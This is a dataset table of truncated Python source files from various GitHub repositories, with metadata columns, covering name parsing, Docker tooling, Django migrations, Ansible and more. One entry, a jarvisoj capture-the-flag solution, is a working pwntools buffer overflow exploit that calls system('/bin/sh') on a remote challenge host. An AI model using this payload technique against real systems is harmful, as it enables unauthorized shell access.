code
stringlengths
2
1.05M
repo_name
stringlengths
5
104
path
stringlengths
4
251
language
stringclasses
1 value
license
stringclasses
15 values
size
int32
2
1.05M
# -*- coding: utf-8 -*- from __future__ import unicode_literals import sys from nameparser.util import u from nameparser.util import text_types, binary_type from nameparser.util import lc from nameparser.util import log from nameparser.config import CONSTANTS from nameparser.config import Constants ENCODING = 'utf-8...
konieboy/Seng_403
Gender Computer/nameparser/parser.py
Python
gpl-3.0
26,481
import shutil import os import hashlib import dockbot def gen_hash(data): return hashlib.sha256(data).hexdigest() class Image(object): def __init__(self, root, name, path, platform = None, projects = [], modes = None, slave = False, remote = False): self.root = root self.con...
CauldronDevelopmentLLC/dockbot
dockbot/Image.py
Python
gpl-3.0
6,147
# Copyright (C) 2019-2021 Dmitry Marakasov <amdmi3@amdmi3.ru> # # This file is part of repology # # repology is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your optio...
repology/repology
repology/parsers/parsers/t2.py
Python
gpl-3.0
4,354
# -*- Mode: Python; py-indent-offset: 4 -*- # pygobject - Python bindings for the GObject library # Copyright (C) 2006-2007 Johan Dahlin # # gobject/constants.py: GObject type constants # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # Lic...
Alberto-Beralix/Beralix
i386-squashfs-root/usr/share/pyshared/gi/_gobject/constants.py
Python
gpl-3.0
3,114
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Changing field 'TestResult.test_case' db.alter_column('autograde_testresult', 'test_case_id', self.gf('dj...
hbradlow/autograde
autograde/migrations/0004_auto__chg_field_testresult_test_case.py
Python
gpl-3.0
7,406
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Demo to illustrate encryption and decryption of a data file using pyFileSec """ from pyfilesec import SecFile, GenRSA import os # Logging is available, optional: # from psychopy import logging # logging.console.setLevel(logging.INFO) # pfs.logging = logging # We nee...
psychopy/psychopy
psychopy/demos/coder/misc/encrypt_data.py
Python
gpl-3.0
1,545
#! /usr/bin/env python # # dbobjs.py # # obspy antelope dbatabase objects module # by Mark Williams 2012.013 # Oregon State University # # Contains basic classes to interect with (read) data from Antelope # Datascope database tables into ObsPy using the Antelope Python interface. # # These classes load data from the da...
markcwill/obspy_ext
antelope/dbobjects.py
Python
gpl-3.0
5,306
#!/usr/bin/env python3 # -*- coding, utf-8 -*- # TODO # TODO # Copyright © 2014 Василий Горохов-Апельсинов # This file is part of code for my bachelor's thesis. # # Code for my bachelor's thesis is free software: you can redistribute # it and/or modify it under the terms of the GNU General Public License # as publi...
grv87/thesis-code
table_count_of_transactions.py
Python
gpl-3.0
1,922
import collections import traceback from typing import Any, Callable, Dict, Optional, Union import logging import time import json import copy # example device_manifest.json file that should be in any module declaring devices. keys are device type names. # submodule values are the submodule you would have to import ...
EternityForest/KaithemAutomation
kaithem/src/thirdparty/iot_devices/device.py
Python
gpl-3.0
24,129
import numpy as np class Node(object): """ Base class for nodes in the network. Arguments: `inbound_nodes`: A list of nodes with edges into this node. """ def __init__(self, inbound_nodes=[]): """ Node's constructor (runs when the object is instantiated). Sets pro...
mjysci/ud-dlnd-side-proj
p2_miniflow_mnist/miniflow_old.py
Python
gpl-3.0
8,379
"""Put an AB1 file into the proper location in the file hierarchy.""" import logging import seqlab.config import seqlab.place import os import oursql log = logging.getLogger(__name__) def build_parser(parser): parser.add_argument('file', type=str, help='Path to the file to place') parser.add_argument(...
madhadron/seqlabd
seqlab/subcommands/place.py
Python
gpl-3.0
2,140
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright (c) 2021 Mario Mlačak, mmlacak@gmail.com # Licensed under GNU GPL v3+ license. See LICENSING, COPYING files for details. import sys import os # import os.path import subprocess import py.paths as P import py.run_subproc as RS import py.run_compiler as RC im...
mmlacak/crochess
build.py
Python
gpl-3.0
8,163
#pylint: disable=W0403,R0902,R0903,R0904,W0212 from __future__ import (absolute_import, division, print_function) from HFIR_4Circle_Reduction import mpl2dgraphicsview from PyQt4 import QtCore import numpy as np import os class Detector2DView(mpl2dgraphicsview.Mpl2dGraphicsView): """ Customized 2D detector vie...
ScreamingUdder/mantid
scripts/HFIR_4Circle_Reduction/detector2dview.py
Python
gpl-3.0
14,100
import os import ycm_core flags = [ '-Wall', '-std=gnu99', '-x', 'c', '-isystem', '/usr/include', '-isystem', '/usr/local/include', '-Isrc', '-I3rd/c-ares', '-I3rd/libuv/include', '-I3rd/libsodium/src/libsodium/include', '-I3rd/libancillary', '-I3rd/libcork/include', '-I3rd/libipset/include', ] compilation_database_...
lparam/xsocks
.ycm_extra_conf.py
Python
gpl-3.0
3,005
from notifications import * import smtplib from email.mime.text import MIMEText class SMTP_Notification(Notification): def __init__(self, host, from_addr, to_addr, **kwargs): defaults = dict( local_hostname=None, keyfile=None, certfile=None, user=None, ...
cleure/Amazon-Scraper
app/notifications/smtp.py
Python
gpl-3.0
2,020
# -*- coding: utf-8 -*- import rlp import secp256k1 from rlp.sedes import big_endian_int, binary, Binary from rlp.utils import str_to_bytes, ascii_chr from eth_utils.address import to_normalized_address from eth_utils.hexidecimal import encode_hex, decode_hex try: from Crypto.Hash import keccak sha3_256 = lambd...
mikeshultz/icenine
icenine/contrib/transactions.py
Python
gpl-3.0
9,242
# -*- coding: utf-8 -*- # A fix encapsulating class, based on the AGTL Fix class from datetime import datetime class Fix(): BEARING_HOLD_EPD = 90 # arbitrary, yet non-random value last_bearing = 0 # tracking the minimum difference between a received fix time and # our current internal time. min_ti...
M4rtinK/modrana
core/fix.py
Python
gpl-3.0
2,174
from __future__ import with_statement import unittest import lsst.utils.tests as utilsTests from lsst.sims.catalogs.measures.instance import register_class, register_method @register_class class ClassA(object): def call(self, key): return self._methodRegistry[key](self) @register_method('a') def ...
lsst/sims_catalogs_measures
tests/testMethodRegistry.py
Python
gpl-3.0
2,280
import sys import os import subprocess import time import string import datetime import serial if __name__=="__main__": serport = '/dev/ttyUSB0' ser = serial.Serial(serport) if len(sys.argv) > 1: val = True else: val = False start=2730 for i in range(start, 100000): ...
johngumb/gb3wx
dtmf-generator/src/gb3wxsetup.py
Python
gpl-3.0
596
from pwn import * p = remote("pwn2.jarvisoj.com", 9878) elf = ELF('./level2') bin_sh_addr = 0x804a024 sys_plt = elf.plt['system'] print hex(sys_plt) payload = 'A'* 140 + p32(sys_plt) + 'JUNK' + p32(bin_sh_addr) p.send(payload) p.interactive()
chenyoufu/writeups
jarvisoj/pwn_level2.py
Python
gpl-3.0
247
# -*- coding: utf8 -*- from __future__ import unicode_literals from phystricks import * def VGZooJnvvZc(): n_ssfig=6 pspictQuestion,figQuestion = SinglePicture("TangenteQuestionOM",script_filename="RechercheTangente") pspictDetail,figDetail = SinglePicture("TangenteDetailOM",script_filename="RechercheTang...
Naereen/mazhe
phystricksRechercheTangente.py
Python
gpl-3.0
3,050
# This file is part of Beneath a Binary Sky. # Copyright (C) 2016, Aidin Gharibnavaz <aidin@aidinhut.com> # # Beneath a Binary Sky is free software: you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation, either version 3 of the # Lice...
aidin36/beneath-a-binary-sky
src/world/square_iterator.py
Python
gpl-3.0
3,416
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 1998-2011 by Paweł T. Jochym <pawel.jochym@ifj.edu.pl> # # This file is part of Elastic. # Elastic is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Softwar...
jochym/Elastic
elastic/__init__.py
Python
gpl-3.0
2,543
# domain_backup # # Copyright Andrew Bartlett <abartlet@samba.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # #...
kernevil/samba
python/samba/netcmd/domain_backup.py
Python
gpl-3.0
50,651
#!/usr/bin/python # -*- coding: utf-8 -*- ############################################################################################################################## # Support-Client <http://wiki.pratznschutz.com/index.php/Support-Client>. # # Copyright (C) [2015] ...
BaileySN/Support-Client
bin/update.py
Python
gpl-3.0
6,233
''' @date Feb 27, 2010 @author: Matthew A. Todd This file is part of Test Parser by Matthew A. Todd Test Parser is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option...
matcatc/Test_Parser
src/TestParser_tests/Parser/BoostParser_Test.py
Python
gpl-3.0
6,099
# -*- coding: utf-8 -*- # Generated by Django 1.9.6 on 2016-08-03 13:45 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('wins', '0016_win_updated'), ('wins', '0017_auto_20160801_1230'), ] operations = [ ...
UKTradeInvestment/export-wins-data
wins/migrations/0018_merge.py
Python
gpl-3.0
324
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright: (c) 2012, Red Hat, Inc # Written by Seth Vidal <skvidal at fedoraproject.org> # Copyright: (c) 2014, Epic Games, Inc. # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, p...
tonk/ansible
lib/ansible/modules/packaging/os/yum.py
Python
gpl-3.0
67,970
import sqlite3 from config import appConfig def createTBLS(path=None): conn = sqlite3.connect(path) cursor = conn.cursor() cursor.execute("""CREATE TABLE links(id INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE NOT NULL, name TEXT NOT NULL );""") c...
Mohamad1994HD/LinkArchiever
app/createDBTables.py
Python
gpl-3.0
1,118
#!/usr/bin/python # -*- coding: utf-8 -*- from multiplexer.clients import connect_client from obci.control.peer.peer_control import PeerControl, ConfigNotReadyError import obci.control.common.config_message as cmsg from obci.utils.openbci_logging import get_logger, log_crash import sys class ConfiguredClient(object)...
BrainTech/openbci
obci/control/peer/configured_client.py
Python
gpl-3.0
3,186
from jshandler import JackSessionHandler, Connection, Port, Session import time class TestConnection(object): def test_get_connections(self): jsh = JackSessionHandler() connections = jsh.session.get_connections() assert len(connections) > 0 for c in connections: as...
andreimatveyeu/jshandler
test/test_connection.py
Python
gpl-3.0
1,745
############################################################################### # # Tests for XlsxWriter. # # Copyright (c), 2013, John McNamara, jmcnamara@cpan.org # import unittest import os from ...workbook import Workbook from ..helperfunctions import _compare_xlsx_files class TestCompareXLSXFiles(unittest.TestC...
ivmech/iviny-scope
lib/xlsxwriter/test/comparison/test_chart_axis14.py
Python
gpl-3.0
2,805
#!/usr/bin/env python # vim: set expandtab sw=4 ts=4: ''' Generate a read key for Keen.io API Usage : get_read_key.py [project_name] When argument project_name is used, the read key will be generated to access this project. If no argument is given, the default project name will be used. Copyright (C) 2014 Dieter Adr...
ruleant/buildtime-trend
get_read_key.py
Python
gpl-3.0
1,578
# # Copyright (C) 2016 by YOUR NAME HERE # # This file is part of RoboComp # # RoboComp is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any...
robocomp/robocomp-robolab
experimental/dumbGlobalTrajectory/src/trajectoryrobot2dI.py
Python
gpl-3.0
1,815
#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import httplib import os import re import urlparse import tempfile import time from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib....
undefinedv/Jingubang
sqlmap/lib/utils/crawler.py
Python
gpl-3.0
8,802
import os import sys sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))) import lsdeflate
Exteris/lsdeflate
tests/context.py
Python
gpl-3.0
122
__author__ = 'Stefan Hechenberger <stefan@nortd.com>' import re import math import logging from .utilities import matrixMult, parseFloats from .svg_attribute_reader import SVGAttributeReader from .svg_path_reader import SVGPathReader log = logging.getLogger("svg_reader") class SVGTagReader: def __init__(sel...
swindonmakers/axCutHost
backend/filereaders/svg_tag_reader.py
Python
gpl-3.0
9,861
# coding:utf-8 ''' Author : qbeenslee Created : 2015/1/20 ''' import json import datetime JSON_PARSE_ERROR = u"{'success':0,'data':[],'message':'Json 解析错误'}" class NeJSONEncoder(json.JSONEncoder): """ Wrapper class to try calling an object's tojson() method. This allows us to JSONify objects comi...
qbeenslee/Nepenthes-Server
utils/jsonutil.py
Python
gpl-3.0
1,193
from statistics import mean, median, mode, stdev import matplotlib.pyplot as plt plt.style.use('seaborn') data1 = [83,83,93,91,85,64,79,97,95,67,83,90,92,73,82,85,96,84,82,71,86,68,66,95,87,81,77,81,97] data2 = [60,79,89,97,68,82,67,59,77,87,99,102,73,78,91,89,84,81,78,90,92,97,82] data3 = [85,94,100,100,47,78,100,92...
ProfessorKazarinoff/staticsite
content/code/statistics/box_plot.py
Python
gpl-3.0
931
from django.conf.urls import url from . import views, feed urlpatterns = [ url(r'^$', views.JobIndex.as_view(), name='index'), url(r'^(?P<pk>[0-9]+)/$', views.JobDetail.as_view(), name='detail'), url(r'^feed/$', feed.LatestJobs(), name='feed'), ]
craigderington/django-code-library
jobs/urls.py
Python
gpl-3.0
268
#!/usr/bin/env python ############################ ### Reusing Existing code ## # Reference:https://github.com/BVLC/caffe/blob/master/tools/extra/extract_seconds.py # ############################ import datetime import os import sys def extract_datetime_from_line(line, year): # Expected format: I0210 13:39:22.38...
sidgan/whats_in_a_question
caffe/monitor/extract_seconds.py
Python
gpl-3.0
2,142
from main import Board import collections import unittest class ClassicBoardTests(unittest.TestCase): def test_tile_iterator(self): options = { 'randomize_production': False, 'randomize_ports': False} board = Board(options) self.assertEqual([t.value for t in board....
fruitnuke/catan
tests.py
Python
gpl-3.0
714
# Copyright 2019-2020 by Christopher C. Little. # This file is part of Abydos. # # Abydos is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later versio...
chrislit/abydos
abydos/distance/_ssk.py
Python
gpl-3.0
4,880
# -*- coding: utf-8 -*- # Aualé oware graphic user interface. # Copyright (C) 2014-2020 Joan Sala Soler <contact@joansala.com> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3...
joansalasoler/auale
src/auale/gui/widgets/board_animator.py
Python
gpl-3.0
7,553
#!/usr/bin/env python3 lado = input("Digite o valor correspondente ao lado de um quadrado: ") perimetro = ( int(lado) * 4 ) area = ( int(lado) ** 2) print("perímetro:", perimetro, "- área:", area)
ranog/coursera_python
quadrado.py
Python
gpl-3.0
202
from ete3 import Tree,TreeStyle,TextFace t = Tree('tagfrog.phy') for node in t.traverse(): node.img_style['size'] = 3 if node.is_leaf(): name_face = TextFace(node.name) ts = TreeStyle() ts.show_scale = True t.render('tagfrog.pdf')
taejoonlab/taejoonlab-toolbox
PopGen/phy2bmp.py
Python
gpl-3.0
248
""" A 2-dimensional vector class >>> v1 = Vector2d(3, 4) >>> print(v1.x, v1.y) 3.0 4.0 >>> x, y = v1 >>> x, y (3.0, 4.0) >>> v1 Vector2d(3.0, 4.0) >>> v1_clone = eval(repr(v1)) >>> v1 == v1_clone True >>> print(v1) (3.0, 4.0) >>> octets = bytes(v1...
YuxuanLing/trunk
trunk/code/study/python/Fluent-Python-example-code/09-pythonic-obj/vector2d_v3_slots.py
Python
gpl-3.0
3,560
#!/usr/bin/env python3 # This source file is part of Obozrenie # Copyright 2015 Artem Vorotnikov # For more information, see https://github.com/obozrenie/obozrenie # Obozrenie is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License version 3, as # published by th...
skybon/obozrenie
obozrenie/launch_gtk.py
Python
gpl-3.0
1,061
from collections import namedtuple import threading import pytest import time import os import json from time import monotonic import AWSIoTPythonSDK.MQTTLib from iotile.core.hw.hwmanager import HardwareManager from iotile.core.dev.registry import ComponentRegistry from iotilegateway.gateway import IOTileGateway Messa...
iotile/coretools
transport_plugins/awsiot/test/conftest.py
Python
gpl-3.0
4,757
#!/usr/bin/env python import argparse import logging from functools import partial from domain import date, transaction # Parse command line arguments parser = argparse.ArgumentParser(description="Convert currency using MasterCard exchange rates", epilog='If no date is specified, the...
XanderXAJ/mastercardConvert
mastercardConvert.py
Python
gpl-3.0
2,462
# coding=utf-8 """TV base class.""" from __future__ import unicode_literals import threading from builtins import object from medusa.indexers.config import INDEXER_TVDBV2 class Identifier(object): """Base identifier class.""" def __bool__(self): """Magic method.""" raise NotImplementedError...
pymedusa/SickRage
medusa/tv/base.py
Python
gpl-3.0
2,303
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Feb 5 12:49:53 2018 A program that will tell if a given degree sequence is graphic. Uses the Havel-Hakimi algorithm. Returns a boolean. Steps are printed to console. @author: nsage """ def is_graphic(l): # checks to see if a degree list is graphic ...
Wheelspawn/Python-Code-Fragments
IsGraphic.py
Python
gpl-3.0
1,082
# -*- coding: utf-8 -*- # Octopasty is an Asterisk AMI proxy # Copyright (C) 2011 Jean Schurger <jean@schurger.org> # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the Li...
jeansch/octopasty-og
octopasty/internal.py
Python
gpl-3.0
5,463
""" Tools for working with distributions """ import numpy as np import dask.array as da from dask.diagnostics import ProgressBar from hyperspy.external.astroML.bayesian_blocks import bayesian_blocks from scipy.special import gammaln from scipy import optimize def scotts_bin_width(data, return_bins=False): r"""Ret...
CodeMonkeyJan/hyperspy
hyperspy/external/astroML/histtools.py
Python
gpl-3.0
12,154
__author__ = 'jorgehog' from numpy import * def interpolate(value_array, time_array, time, start=0): if start >= len(time_array): return start, 0, 0 i = start while time_array[i] < time: i += 1 if i == len(time_array): return i, 0, 0 if i == 0: if time ...
jorgehog/kMC
apps/Quasi2DLoaded/parse_tools.py
Python
gpl-3.0
2,241
r""" ***************************************** espressopp.integrator.AssociationReaction ***************************************** """ from espressopp.esutil import cxxinit from espressopp import pmi from espressopp.integrator.Extension import * from _espressopp import integrator_AssociationReaction class Associatio...
espressopp/espressopp
src/integrator/AssociationReaction.py
Python
gpl-3.0
938
#!/usr/bin/env python # -*- coding: utf-8 -*- from anecdotes import Anecdotes import telebot def main(token): base = Anecdotes() while True: try: bot = telebot.TeleBot(token, threaded=False) @bot.message_handler(commands=["start", "help"]) def handle_start_help(m...
bashkirtsevich/pyAnecdotesTelegramBot
bot/anecdotes_bot.py
Python
gpl-3.0
2,142
#!/usr/bin/python import os from subprocess import * import sys from PIL import Image def convert(table, dimension, dataString): tableStr = ''.join([chr(i) for i in table]) print "Calling C converter..." proc = Popen(['./converter'], stdin=PIPE, stdout=PIPE, shell=True, bufsize=0) strout, strer...
neoatlantis/MTSAT-2-plotter
converter.py
Python
gpl-3.0
468
mcinif='mcini_gen1' runname='gen_test1110k' mcpick='gen_test1.pickle' pathdir='/beegfs/work/ka_oj4748/echoRD' wdir='/beegfs/work/ka_oj4748/gen_tests' update_prec=0.01 update_mf='False' update_part=100 import sys sys.path.append(pathdir) import run_echoRD as rE rE.echoRD_job(mcinif=mcinif,mcpick=mcpick,runname=runname...
cojacoo/testcases_echoRD
gen_test1110k.py
Python
gpl-3.0
431
# -*- coding: utf-8 -*- # # SPDX-License-Identifier: GPL-3.0 # # GNU Radio Python Flow Graph # Title: RMS AGC # Author: Daniel Estevez # Description: AGC using RMS # GNU Radio version: 3.8.0.0 from gnuradio import blocks from gnuradio import gr from gnuradio.filter import firdes class rms_agc(gr.hier_block2): d...
daniestevez/gr-satellites
python/hier/rms_agc.py
Python
gpl-3.0
2,393
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright (c) 2012 Slawomir Lisznianski <sl@minta.com> # # GNU General Public Licence (GPL) # # This program is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software # Foundation; eithe...
soupmonkey/pushcoin
PoS/payment-processor/pushcoin-payment-processor.py
Python
gpl-3.0
1,933
# -*- coding: utf-8 -*- #----------------------------------------------------------------------------- # (C) British Crown Copyright 2012-5 Met Office. # # This file is part of Rose, a framework for meteorological suites. # # Rose is free software: you can redistribute it and/or modify # it under the terms of the GNU G...
ScottWales/rose
lib/python/rose/suite_engine_procs/cylc.py
Python
gpl-3.0
54,627
from django.conf import settings from django.utils.translation import ugettext_lazy as _ from tendenci.apps.registry.sites import site from tendenci.apps.registry.base import CoreRegistry, lazy_reverse from tendenci.apps.locations.models import Location class LocationRegistry(CoreRegistry): version = '1.0' a...
alirizakeles/tendenci
tendenci/apps/locations/app_registry.py
Python
gpl-3.0
1,135
import hashlib import logging import os import posixpath from typing import Optional import trio import umsgpack from sqlalchemy import Column, ForeignKey, Integer, LargeBinary, String, orm from sqlalchemy.orm import relationship from syncrypt.exceptions import InvalidBundleKey, InvalidBundleMetadata from syncrypt.pi...
syncrypt/client
syncrypt/models/bundle.py
Python
gpl-3.0
6,725
# Copyright (C) 2013, 2017 Ian Harry, Alex Nitz, Duncan Brown # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 3 of the License, or (at your # option) any later version. # # Thi...
ahnitz/pycbc
pycbc/workflow/core.py
Python
gpl-3.0
87,602
#!/usr/bin/env python3 import os import sys from json import JSONEncoder from json import JSONDecoder from PIL import Image from lib import ImageManager JSON_encoder = JSONEncoder() JSON_decoder = JSONDecoder() MAX_IMAGES_MEM = 1 # DO NOT SET LOWER THAN 1 MAX_COLOURS_MEM = 200 DATA_IMAGE_SIZE = 'ImageSize' DATA_COLO...
fdibaldassarre/photo-mosaic
lib/CollageImage.py
Python
gpl-3.0
9,160
#Pràctica 2 - Exercici 8 # Fer un programa on l'usuari introdueixi un preu del producte i aquest # calculi el preu amb IVA (IVA 16%) precio = int(raw_input("¿Qué precio tiene el producto? ")) total = precio * 1.16 print "El precio total es: " , total
LorenaCapo/1DAW_Python
Práctica 2/practica2_exercici8.py
Python
gpl-3.0
263
# This file is part of QuTiP. # # QuTiP is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # QuTiP is distributed in the ...
Vutshi/qutip
qutip/mcsolve.py
Python
gpl-3.0
52,908
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2017 F5 Networks Inc. # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # ...
mryanlam/f5-ansible
library/iworkflow_service.py
Python
gpl-3.0
14,907
from django.test.testcases import TestCase from django.utils import timezone from edc_visit_schedule.site_visit_schedules import site_visit_schedules from edc_visit_tracking.constants import SCHEDULED from ba_namotswe.models import Appointment, SubjectVisit, RequisitionMetadata, CrfMetadata, SubjectConsent, Registere...
botswana-harvard/ba-namotswe
ba_namotswe/tests/test_enrollment_model.py
Python
gpl-3.0
3,230
import functools from repositories.session import session_manager def wrap_sqlalchemy_session( func=None, *, allow_origin='*', allow_headers=set(["Origin", "X-Requested-With", "Content-Type", "Accept"])): """ A middleware that creates a sqlalchemy session at the start of the r...
yamila-moreno/api-example
src/utils/middlewares/sqlalchemy.py
Python
gpl-3.0
876
# -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. from odoo import api, fields, models, tools, _ from odoo.exceptions import ValidationError from odoo.addons import decimal_precision as dp from odoo.addons.website.models import ir_http from odoo.tools.translate import h...
t3dev/odoo
addons/website_sale/models/product.py
Python
gpl-3.0
20,625
''' Stepper.step steps through one instruction of a GvR program at a time, and then it calls back into your world object to actually do MOVE(), TURNLEFT(), etc. Read TESTstepper.py to grok this. ''' import translate,sys class OutOfInstructionsException(Exception): def __str__(self): return 'Out of instructions'...
cristian99garcia/guido-van-robot-activity
stepper.py
Python
gpl-3.0
5,062
''' autodrill is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. autodrill is distributed in the hope that it will be useful, but WITHOUT ANY W...
ElektronikNode/autodrill
autodrill/ui/dialogDrills.py
Python
gpl-3.0
3,224
import sys import re # import scrapy from scrapy.spider import Spider from scrapy.selector import Selector from scrapy.http import Request from scrapy.http import HtmlResponse from eplda.items import FixtureItem # import logging class geteamnameSpider(scrapy.Spider): name = "geteamname" allowed_domains = ["premi...
orville-wright/EPL-datanalytics
eplda/eplda/spiders/myteam_spider.py
Python
gpl-3.0
2,760
from django.urls import reverse from rest_framework import status from rest_framework.test import APITestCase from accounts.models import User from accounts.serializers import UserSerializer, UserRegisterSerializer class ReadUserTestCase(APITestCase): """ Test to show all or a single user of the system. "...
TeamBasedLearning/Service
pgtbl/accounts/tests/test_read_user.py
Python
gpl-3.0
2,537
#coding=utf-8 import tornado import session import util.config as config class BaseHandler(tornado.web.RequestHandler): def __init__(self, *argc, **argkw): print 'bbbbbbbbbbbbbbbbbbbbbbbb' super(BaseHandler, self).__init__(*argc, **argkw) self.session = session.Session(self.application.se...
cuckoo5/soap
Soap_know/handler/base.py
Python
gpl-3.0
2,274
import json import io from lxml import html from django.test import TestCase, tag from celery_djangotest.unit import TransactionTestCase from dashboard.tests.factories import ( DataGroupFactory, DataDocumentFactory, ExtractedHPDocFactory, ) from dashboard.tests.loader import load_model_objects, fixtures_...
HumanExposure/factotum
dashboard/tests/functional/test_datagroup_detail.py
Python
gpl-3.0
22,500
#!/usr/bin/python from plistlib import * import socket, struct from ctypes import * from optparse import OptionParser usage = "usage: %prog [options] infile outfile" parser = OptionParser(usage) (options,args)=parser.parse_args() if len(args)!=2: parser.error("incorrect number of arguments") try: with open(...
lordwolfchild/subnetmapper
pySubnetMapConvert.py
Python
gpl-3.0
4,646
# # Race Capture App # # Copyright (C) 2014-2017 Autosport Labs # # This file is part of the Race Capture App # # This is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at ...
autosportlabs/RaceCapture_App
autosportlabs/racecapture/presets/presetview.py
Python
gpl-3.0
8,286
from django.core.urlresolvers import reverse from django.http import HttpResponseRedirect from django.shortcuts import get_object_or_404 from django.views.generic import DetailView from django.views.generic import ListView from django.views.generic.edit import CreateView from models import MovieReview, Movie, Actor, Di...
judithvillanueva/First_assignment
movie/imovie/views.py
Python
gpl-3.0
4,630
#!/usr/bin/env python __author__ = 'Mike McCann' __copyright__ = '2013' __license__ = 'GPL v3' __contact__ = 'mccann at mbari.org' __doc__ = ''' Contains class for common routines for loading all BEDS data Mike McCann MBARI 13 May 2013 @undocumented: __doc__ parser @status: production @license: GPL ''' imp...
danellecline/stoqs
stoqs/loaders/BEDS/__init__.py
Python
gpl-3.0
3,934
""" .. module:: views.reports.procedure :synopsis: Indivo view implementations for the procedure report. .. moduleauthor:: Daniel Haas <daniel.haas@post.harvard.edu> .. moduleauthor:: Ben Adida <ben@adida.net> """ from django.http import HttpResponseBadRequest, HttpResponse from indivo.lib.view_decorators import ...
newmediamedicine/indivo_server_1_0
indivo/views/reports/procedure.py
Python
gpl-3.0
2,013
#! /usr/bin/env python3 from .config import * from .diff import * from .HtmlFormatter import * from .AnsiFormatter import *
lahwaacz/python-wikeddiff
WikEdDiff/__init__.py
Python
gpl-3.0
125
from collections import OrderedDict import importlib import logging import os import time import re import numpy as np import h5py from artiq.protocols.sync_struct import Notifier from artiq.protocols.pc_rpc import AutoTarget, Client, BestEffortClient logger = logging.getLogger(__name__) def _create_device(desc, ...
kgilmo/penning_artiq
artiq/master/worker_db.py
Python
gpl-3.0
6,331
import datetime from django.contrib.auth.models import User from django.core.management import call_command from django.utils import timezone from io import StringIO from oppia.models import Tracker from oppia.test import OppiaTestCase class DataRetentionTest(OppiaTestCase): fixtures = ['tests/test_user.json'...
DigitalCampus/django-oppia
tests/oppia/management/test_data_retention.py
Python
gpl-3.0
2,111
"""Subbasin delineation based on TauDEM, as well as calculation of latitude dependent parameters @author : Liangjun Zhu, Junzhi Liu @changelog: 13-01-10 jz - initial implementation 16-12-07 lj - rewrite for version 2.0, improve calculation efficiency by numpy 17-06-23 lj - r...
lreis2415/SEIMS
seims/preprocess/sd_delineation.py
Python
gpl-3.0
11,534
import locale import threading from contextlib import contextmanager LOCALE_LOCK = threading.Lock() BR_DATESHORT_FORMAT = '%a, %d %b - %Hh%M' @contextmanager def setlocale(name): with LOCALE_LOCK: saved = locale.setlocale(locale.LC_ALL) try: yield locale.setlocale(locale.LC_ALL, name...
olavopeixoto/plugin.video.brplay
resources/lib/modules/kodi_util.py
Python
gpl-3.0
563
#!/usr/bin/env python3 import gi gi.require_version('Gtk', '3.0') gi.require_version('WebKit2', '4.0') from gi.repository import Gtk from gi.repository import WebKit2 as WebKit from src.Utils import Browser COOKIES_TEXT = 0 COOKIES_SQLITE = 1 class MLBrowser(): def __init__(self): self.window = Gtk.Window()...
fdibaldassarre/mload
src/Utils/Browser.py
Python
gpl-3.0
1,525
# Copyright 2014 Diamond Light Source Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed t...
rcatwood/Savu
savu/plugins/filters/base_component_analysis.py
Python
gpl-3.0
3,645
#!/usr/bin/python3 ''' This is a * sort * of static method but is ugly since the function is really global and not in the class. ''' class Book: num = 0 def __init__(self, price): self.__price = price Book.num += 1 def printit(self): print('price is', self.__price) def setP...
nonZero/demos-python
src/examples/short/object_oriented/static_method_1.py
Python
gpl-3.0
881
import os from setuptools import find_packages, setup with open(os.path.join(os.path.dirname(__file__), 'README.rst')) as readme: README = readme.read() # allow setup.py to be run from any path os.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir))) setup( name='django-minierp', ve...
girardinsamuel/minierp-django
setup.py
Python
gpl-3.0
841
